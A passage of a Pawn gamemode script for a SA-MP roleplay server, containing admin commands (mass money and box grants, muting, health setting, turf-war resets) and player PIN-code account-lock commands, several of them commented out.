	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /moneyforall <Amount>");
	   new rpam = strval(lola);
	   if(rpam > 0)
	   {
		  new lolstr[200];
		  format(lolstr, 200, "Admin %s has given $%s to all online players.", PINFO[playerid][pName], FormatNumber(rpam));
		  for(new i = 0;i < Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
			 {
				GivePlayerPool(i, rpam);
			 }
		  }
		  SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid Respect point.");
	   return 1;
	}
	   if(!strcmp(cmd, "/boxforall", true))
	{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /boxforall <Amount>");
	   new rpam = strval(lola);
	   if(rpam > 0)
	   {
		  new lolstr[200];
		  format(lolstr, 200, "Admin %s has given %s box(es) to all online players.", PINFO[playerid][pName], FormatNumber(rpam));
		  for(new i = 0;i < Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
			 {
				PlayerInfo[i][pBox] = PlayerInfo[i][pBox] + rpam;
				SaveKonVal(i, "pBox", PlayerInfo[i][pBox]);
			 }
		  }
		  SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid Respect point.");
	   return 1;
	}
	/*
	if(!strcmp(cmd, "/setdays", true)) {
	if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	tmp = strtok(cmdtext, idx);
	if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /setdays <Playerid/PartOfName> <Days>");
	new user = ReturnUser6(tmp);
	new lola[40];
	lola = strtok(cmdtext, idx);
	if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /setdays <Playerid/PartOfName> <Days>");
	new days = strval(lola);
	if(!IsPlayerConnected(user)) return SCM(playerid, COLOR_SINA3, "That player is not connected.");
	if(PINFO[user][pSoldier] == 0) return SCM(playerid, COLOR_SINA3, "That player is not soldier.");
	if(days < 0) return SCM(playerid, COLOR_SINA3, "Invalid days.");
	if(days == 0) {
	PINFO[user][pCard] = 0;
	SaveKonVal(user, "pCard", 0);
	}
	PINFO[user][pSoldier] = days;
	SaveKonVal(user, "pSoldier", days);

	new string[512];
	format(string, sizeof(string), "{FFFFFF}Admin %s sets soldiery days of the %s to %d.",PINFO[playerid][pName],PINFO[user][pName],days);
	AdminWarn(string);
	format(string, sizeof(string), "{FFFFFF}Admin %s sets your soldiery days to %d.",PINFO[playerid][pName],days);
	SCM(user, COLOR_WHITE, string);
	return 1;
	}
	*/
	if(!strcmp(cmd, "/muteall", true))
	{
	   if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /muteall <Distance(FLOAT)> <Time(minutes)>");
	   new Float:dis = floatstr(tmp);
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /muteall <Distance(FLOAT)> <Time(minutes)>");
	   new rpam = strval(lola);
	   if(rpam > 0)
	   {
		  if(dis > 0.0)
		  {
			 new lolstr[200];
			 format(lolstr, 200, "Admin %s has mute all players online for %d minutes.", PINFO[playerid][pName], rpam);
			 for(new i = 0;i < Akharish;i++)
			 {
				if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
				{
						PlayerInfo[i][pMuteTime] = rpam*60;
					SaveKonVal(i, "pMuteTime", PINFO[i][pMuteTime]);


					SCM(i, COLOR_LIGHTRED, lolstr);
						SendMessage(i, COLOR_LIGHTRED, "You can type /mymute to see your mute time");

				}
			 }
			 format(lolstr, 200, "{FFFFFF}%s has mute all players for %d minutes in %.2f distance.", PINFO[playerid][pName], rpam, dis);
			 AdminWarn(lolstr);
		  }
		  else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid time.");
	   return 1;
	}
	if(!strcmp(cmd, "/sethpall", true))
	{
	   if(PINFO[playerid][pAdmin] < 3 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /sethpall <Distance(FLOAT)> <Amount(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /sethpall <Distance(FLOAT)> <Amount(FLOAT)>");
	   new Float:rpam = floatstr(lola);
	   if(rpam > 0.0)
	   {
		  if(dis > 0.0)
		  {
			 new lolstr[200];
			 format(lolstr, 200, "Admin %s has set all players online health to %.2f.", PINFO[playerid][pName], rpam);
			 for(new i = 0;i < Akharish;i++)
			 {
				if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
				{
					SetPlayerKoon(true, i, rpam);
					SCM(i, COLOR_LIGHTRED, lolstr);
				}
			 }
			 format(lolstr, 200, "{FFFFFF}%s has set all players hp to %.2f in %.2f distance.", PINFO[playerid][pName], rpam, dis);
			 AdminWarn(lolstr);
		  }
		  else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid hp.");
	   return 1;
	}
/*
	if(!strcmp(cmd, "/esethpall", true))
	{
	   if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /esethpall <Distance(FLOAT)> <Amount(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /esethpall <Distance(FLOAT)> <Amount(FLOAT)>");
	   new Float:rpam = floatstr(lola);
	   if(rpam > 0.0)
	   {
		  if(dis > 0.0)
		  {
			 new lolstr[200];
			 new lolstr1[200];
			 format(lolstr, 200, "Event organizer %s sets event players hp to %.2f.", PINFO[playerid][pName], rpam);
			 SendClientMessageToAll(COLOR_YELLOW, lolstr);
			 for(new i = 0;i < Akharish;i++)
			 {
				   if(EventPlayer[i] == 1)
					{
				if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
				{
					SetPlayerKoon(true, i, rpam);
					//SCM(i, COLOR_LIGHTRED, lolstr);
					 }
				}
			 }
			 format(lolstr1, 200, "{FFFFFF}Event-Organizer %s has set all players hp to %.2f in %.2f distance.", PINFO[playerid][pName], rpam, dis);
			 AdminWarn(lolstr1);
		  }
		  else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid hp.");
	   return 1;
	}*/

	if(strcmp(cmd, "/friends", true) == 0 || strcmp(cmd, "/fr", true) == 0)
	{
	if(IsPlayerConnected(playerid))
	{
	BegirFriends(playerid);
	}
	return 1;
	}
	/*
	 if(!strcmp(cmd, "/plysoundonw", true))
	{
	   if(PINFO[playerid][pAdmin] < 2) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /sethpall <Distance(FLOAT)> <Amount(FLOAT)>");
	   new dis = strval(tmp);
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /sethpall <Distance(FLOAT)> <Amount(FLOAT)>");
	   new rpam = strval(lola);
		new Float:x;
		new Float:y;
		new Float:z;
		GetPlayerPos(dis, x, y, z);
		PlayerPlaySound(playerid, rpam, x, y, z);
	   return 1;
	}
	*/
	 if(!strcmp(cmd, "/stopwar", true))
	{
	   if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pWlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /stopwar <WarID>");
	   new turfid = strval(tmp);

		for(new i=0;i<Akharish;i++) {
		if(OnWar[i] == turfid) {


		TextDrawHideForPlayer(i, WarBox);
		TextDrawHideForPlayer(i, WarA[OnWar[i]]);
		TextDrawHideForPlayer(i, WarVS);
		TextDrawHideForPlayer(i, WarD[OnWar[i]]);
		PlayerTextDrawHide(i, WarK[i]);
		PlayerTextDrawHide(i, WarDea[i]);
		PlayerTextDrawHide(i, WarS[i]);
		//PlayerTextDrawHide(i, WarT);
		TextDrawHideForPlayer(i, WarTR[OnWar[i]]);
		OnWar[i] = 9999;
		}
		}
		killsattackerturf[turfid] = 0;
		deathsattackerturf[turfid] = 0;
		killskhodturf[turfid] = 0;
		deathskhodturf[turfid] = 0;

		scoreattacker[turfid] = 0;
		scorekhod[turfid] = 0;
		turfattacker[turfid] = 9999;
		turfkhod[turfid] = 9999;
		TurfTime[turfid] = 0;
		TurfReload[turfid] = 0;

		new string[512];
		format(string, sizeof(string), "{FFFFFF}War on turfid %d has been stopped by admin %s.",turfid,PINFO[playerid][pName]);
		AdminWarn(string);
	   return 1;
	}
	 if(!strcmp(cmd, "/endwar", true))
	{
	   if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pWlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /endwar <Playerid/PartOfName> <WarID>");
	   new dis;
		dis = ReturnUser6(tmp);
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /endwar <Playerid/PartOfName> <WarID>");
	   new rpam = strval(lola);

		new str[512];
		format(str, sizeof(str), "OnWar: %i", OnWar[dis]);
		SendMessage(playerid, COLOR_RED, str);

		TextDrawHideForPlayer(dis, WarBox);
		TextDrawHideForPlayer(dis, WarA[OnWar[dis]]);
		TextDrawHideForPlayer(dis, WarVS);
		TextDrawHideForPlayer(dis, WarD[OnWar[dis]]);
		PlayerTextDrawHide(dis, WarK[dis]);
		PlayerTextDrawHide(dis, WarDea[dis]);
		PlayerTextDrawHide(dis, WarS[dis]);
		//PlayerTextDrawHide(dis, WarT);
		TextDrawHideForPlayer(dis, WarTR[OnWar[dis]]);

		OnWar[dis] = rpam;
	   return 1;
	}
	//if(strcmp(cmd, "/jahanam", true) == 0)
				//{
				//if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				//SendClientMessage(playerid, COLOR_YELLOW2, "Error:{00FF00} You can also use /kill for /jahanam command.");
				//return 1;
				//}
				/*
	if(!strcmp(cmd, "/kill", true))
	{
	   if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /Kill <PartOfName/Playerid>");
	   new dis;
		new string[512];
		dis = ReturnUser6(tmp);
		if(PINFO[playerid][pAdmin] < PINFO[dis][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		GetPlayerName(playerid, sendername, sizeof(sendername));
		GetPlayerName(dis, giveplayer, sizeof(giveplayer));
	   format(string, sizeof(string), "You are killed %s.", giveplayer);
	   SendClientMessage(playerid, COLOR_WHITE, string);
	   format(string, sizeof(string), "INFO: You are killed by admin %s.", sendername);
	   SendClientMessage(dis, COLOR_WHITE, string);
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s killed %s.", sendername, giveplayer);
	   AdminWarn(sttrr);
		BereJahanam[dis] = 19;
		SetPlayerKoon(true, dis, 0);

	   return 1;
	}*/

	if(!strcmp(cmd, "/stoppb", true)) {
	if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	StopPaintBalling();
	new str[512];
	format(str, sizeof(str), "{FFFFFF}Admin %s stopped paintball.",PINFO[playerid][pName]);
	AdminWarn(str);
	return 1;
	}
	if(!strcmp(cmd, "/endwar2", true))
	{
	   if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pWlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /endwar2 <TurfID>");
	   new turfid = strval(tmp);
		killsattackerturf[turfid] = 0;
		deathsattackerturf[turfid] = 0;
		killskhodturf[turfid] = 0;
		deathskhodturf[turfid] = 0;

		scoreattacker[turfid] = 0;
		scorekhod[turfid] = 0;
		turfattacker[turfid] = 9999;
		turfkhod[turfid] = 9999;
		TurfTime[turfid] = 0;
		TurfReload[turfid] = 0;


	   return 1;
	}

		/*if(!strcmp(cmd, "/lif", true)) {
		ACC_MoveLift(0, -1, 2);
	   if(ACC_GetLiftStatus(0) == LIFT_STATUS_RISING) SendClientMessage(playerid, COLOR_WHITE, "Lift rising.");
	   else SendClientMessage(playerid, COLOR_WHITE, "Lift lowering.");
	   return 1;
		}
		if(!strcmp(cmd, "/lifs", true)) {
		ACC_MoveLift(1, -1, 2);
	   if(ACC_GetLiftStatus(1) == LIFT_STATUS_RISING) SendClientMessage(playerid, COLOR_WHITE, "Side lift rising.");
	   else SendClientMessage(playerid, COLOR_WHITE, "Side lift lowering.");
	   return 1;
		}*/
	 if(!strcmp(cmd, "/cwar", true))
	{
	   if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pWlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /cwar <Playerid/PartOfName>");
	   new dis;
		dis = ReturnUser6(tmp);
		new str[512];
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s seen %s's onwar.", PINFO[dis][pName]);
	   //AdminWarn(sttrr);
		format(str, sizeof(str), "OnWar: %i", OnWar[dis]);
		SendMessage(playerid, COLOR_RED, str);
	   return 1;
	}
	/*
	if(!strcmp(cmd, "/relog", true)) {// This Command ReWrited by Sina ;)

		new string[30];
	   isRelogging[playerid] = true;
	   GetPlayerIp(playerid, relogPlayerIP[playerid], 17);
	   format(string, sizeof(string), "banip %s", relogPlayerIP[playerid]);
		SetTimerEx("reloging",11000,0,"i",playerid);
	   SendRconCommand(string);
		SetPlayerInterior(playerid, 0);
		SetPlayerCameraPos(playerid, 1020.8905, -1782.4042, 90.0785);// Disabled by Sina
		SetPlayerCameraLookAt(playerid, 556.1578, -1441.9774, 80.5746);// Disabled by Sina

		InterpolateCameraLookAt(playerid, 1020.8905, -1782.4042, 90.0785, 556.1578, -1441.9774, 80.5746, 20000, CAMERA_MOVE);// Disabled by Sina
		InterpolateCameraPos(playerid, 1020.8905, -1782.4042, 90.0785, 556.1578, -1441.9774, 80.5746, 25000, CAMERA_MOVE);// Disabled by Sina

		GetPlayerTag(playerid);
	   SendMessage(playerid, COLOR_NITROEX, "Your relog request is proccesing ...");// Fast Relog! Ranger
	   return 1;
	}
	*/
	
	if(!strcmp(cmd, "/relog", true))
	{
	SaveAccounts();
	SendMessage(playerid, COLOR_LIGHTRED, "We're processing your request...");
	SetTimerEx("reelogkol", 10, 0, "d", playerid);
	return 1;
	}
	
	
	/*if(strcmp(cmd, "/adminrelog", true) == 0 || strcmp(cmd, "/arelog", true) == 0)
	{
	if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp))
	   {
	   SendClientMessage(playerid, COL_SYN, "Syntax: /AdminRelog <Playerid/PartOfName>");
	   return 1;
	   }
	   giveplayerid = ReturnUser6(tmp);
		new string[30];
	   isRelogging[giveplayerid] = true;
	   GetPlayerIp(playerid, relogPlayerIP[giveplayerid], 17);
	   format(string, sizeof(string), "banip %s", relogPlayerIP[giveplayerid]);
		SetTimerEx("reloging",11000,0,"i",playerid);
	   SendRconCommand(string);
		SetPlayerInterior(playerid, 0);
		SetPlayerCameraPos(playerid, 1020.8905, -1782.4042, 90.0785);
		SetPlayerCameraLookAt(playerid, 556.1578, -1441.9774, 80.5746);

		InterpolateCameraLookAt(playerid, 1020.8905, -1782.4042, 90.0785, 556.1578, -1441.9774, 80.5746, 20000, CAMERA_MOVE);
		InterpolateCameraPos(playerid, 1020.8905, -1782.4042, 90.0785, 556.1578, -1441.9774, 80.5746, 25000, CAMERA_MOVE);

		GetPlayerTag(playerid);
	   SendMessage(playerid, COLOR_ABBAS, "[Personal-Warn]: Shoma Tavasote Yeki Az Admin Ha Relog Shodid.");
	   return 1;
	} */
	if(!strcmp(cmd, "/deletepin", true))
	{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		PlayerInfo[playerid][pPin1] = 0;
		SaveKonVal(playerid, "pPin1",PlayerInfo[playerid][pPin2]);
		PlayerInfo[playerid][pPin2] = 0;
		SaveKonVal(playerid, "pPin2",PlayerInfo[playerid][pPin2]);
		PlayerInfo[playerid][pPin3] = 0;
		SaveKonVal(playerid, "pPin3",PlayerInfo[playerid][pPin3]);
		PlayerInfo[playerid][pPin4] = 0;
		SaveKonVal(playerid, "pPin4",PlayerInfo[playerid][pPin4]);
		PlayerInfo[playerid][pPinned] = 0;
		SaveKonVal(playerid, "pPinned",PlayerInfo[playerid][pPinned]);
	   PlayerInfo[playerid][pAutoPIN] = 0;
	   SaveKonVal(playerid, "pAutoPIN", 0);
		SCM(playerid, COLOR_YELLOW, "Your pin code code was successfully deleted.");
		GameTextForPlayer(playerid, "~W~Pin Code ~r~Deleted", 3000, 3);
		new VaZsas[144];
		new sXtxt[20];
		if(PINFO[playerid][pSex] == 1) sXtxt = "his";
		if(PINFO[playerid][pSex] == 2) sXtxt = "her";
	  format(VaZsas, sizeof(VaZsas), "{ffffff}Player %s(%i) has deleted %s pin code",RPName(playerid), playerid, sXtxt);
      AdminWarn(VaZsas);
		return 1;
	}
	if(!strcmp(cmd, "/addpin", true))
	{
	if(PlayerInfo[playerid][pPinned] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You already added a pin.");
	PlayerTextDrawShow(playerid, PINBox1[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox2[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox3[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox4[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox5[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, Succ[playerid]);// Pin ro mizane
	PlayerTextDrawShow(playerid, Unsucc[playerid]);// Pin ro bar migardoone
	PlayerTextDrawShow(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, PINNum1[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum2[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum3[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum4[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum5[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum6[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum7[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum8[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum9[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum0[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
	new SetKOn[5];
    format(SetKOn , sizeof(SetKOn) , "_");
    PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
    SelectTextDraw(playerid, 0x00FF00FF);
    Pinning[playerid] = 2;
    ChandAdadZadam[playerid] = 0;
    MitooneCancelKone[playerid] = 1;
	   return 1;
	}
	if(!strcmp(cmd, "/pininfo", true))
	{
	new pin[1024];
	format(pin, sizeof(pin), "The PIN code is a security code used to grant you the ability to use important commands. Here are useful commands:\n\n * /addpin - Opens up a key pad which allows you to enter a 4-digit PIN Code.\n * /changepin - Opens up a key pad which allows you to change your PIN code.\n * /unlockacc - Opens up a key pad which allows you to enter your PIN code and unlock your account.\n * /lockacc - this will lock your account.\n");
	ShowPlayerDialog(playerid, 210000, DIALOG_STYLE_MSGBOX,"Security Code Information", pin,"Ok", "");
	return 1;
	}
	/*
	if(strcmp(cmd, "/adminslist", true) == 0 || strcmp(cmd, "/adminlist", true) == 0)
	{
	new pin[1024];
	format(pin, sizeof(pin), "List Staff Haye Asli Server\n * Scripter : Sina\n * Founder : No-One \n * Manager : No-One \n * CM Assistant : No-One \n * Supervisor : No-One \n \n * Agar Esme Manager Ya CM Assistant I Inja Gharar Nagerefte BeZoodi Add Mishe..");
	ShowPlayerDialog(playerid, 210001, DIALOG_STYLE_MSGBOX,"The Official Admins", pin,"Ok", "");
	return 1;
	}
	*/
	if(!strcmp(cmd, "/changepin", true))
	{
	if(PCoolDown[playerid] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You should wait to change your pin again.");
	if(PlayerInfo[playerid][pPinned] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't pin code. (use /addpin)");
	if(LockAcc[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You must unlock your account. (/unlockacc)");
	PlayerTextDrawShow(playerid, PINBox1[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox2[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox3[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox4[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox5[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, Succ[playerid]);// Pin ro mizane
	PlayerTextDrawShow(playerid, Unsucc[playerid]);// Pin ro bar migardoone
	PlayerTextDrawShow(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, PINNum1[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum2[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum3[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum4[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum5[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum6[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum7[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum8[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum9[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum0[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
	new SetKOn[5];
    format(SetKOn , sizeof(SetKOn) , "_");
    PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
    SelectTextDraw(playerid, 0x00FF00FF);
    Pinning[playerid] = 3;
    ChandAdadZadam[playerid] = 0;
    MitooneCancelKone[playerid] = 1;
    SCM(playerid, COLOR_SINARANG, "Enter your current pin code.");
	return 1;
	}
	if(strcmp(cmd, "/pin", true) == 0 || strcmp(cmd, "/unlockacc", true) == 0)
	{
	if(PCoolDown[playerid] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You should wait to enter pin again.");
	if(PlayerInfo[playerid][pPinned] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You didn't enter pin.");
	if(LockAcc[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account already was unlocked.");
	PlayerTextDrawShow(playerid, PINBox1[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox2[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox3[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox4[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, PINBox5[playerid]);// Boxe PIN
	PlayerTextDrawShow(playerid, Succ[playerid]);// Pin ro mizane
	PlayerTextDrawShow(playerid, Unsucc[playerid]);// Pin ro bar migardoone
	PlayerTextDrawShow(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
	PlayerTextDrawShow(playerid, PINNum1[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum2[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum3[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum4[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum5[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum6[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum7[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum8[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum9[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, PINNum0[playerid]);// Adade ke too dayere has
	PlayerTextDrawShow(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
	new SetKOn[5];
    format(SetKOn , sizeof(SetKOn) , "_");
    PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
    SelectTextDraw(playerid, 0x00FF00FF);
    Pinning[playerid] = 1;
    ChandAdadZadam[playerid] = 0;
    MitooneCancelKone[playerid] = 1;
	return 1;
	}
	if(!strcmp(cmd, "/lockacc", true))
	{
	if(LockAcc[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: your account already was locked.");
	GameTextForPlayer(playerid, "~W~Your Account ~R~Locked", 3000, 3);
	LockAcc[playerid] = 1;
	PlayerInfo[playerid][pAutoPIN] = 0;
	SaveKonVal(playerid, "pAutoPIN", 0);
	return 1;
	}

	if(strcmp(cmd, "/setarmorall", true) == 0 || strcmp(cmd, "/setarmourall", true) == 0)
	{
	   if(PINFO[playerid][pAdmin] < 3 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
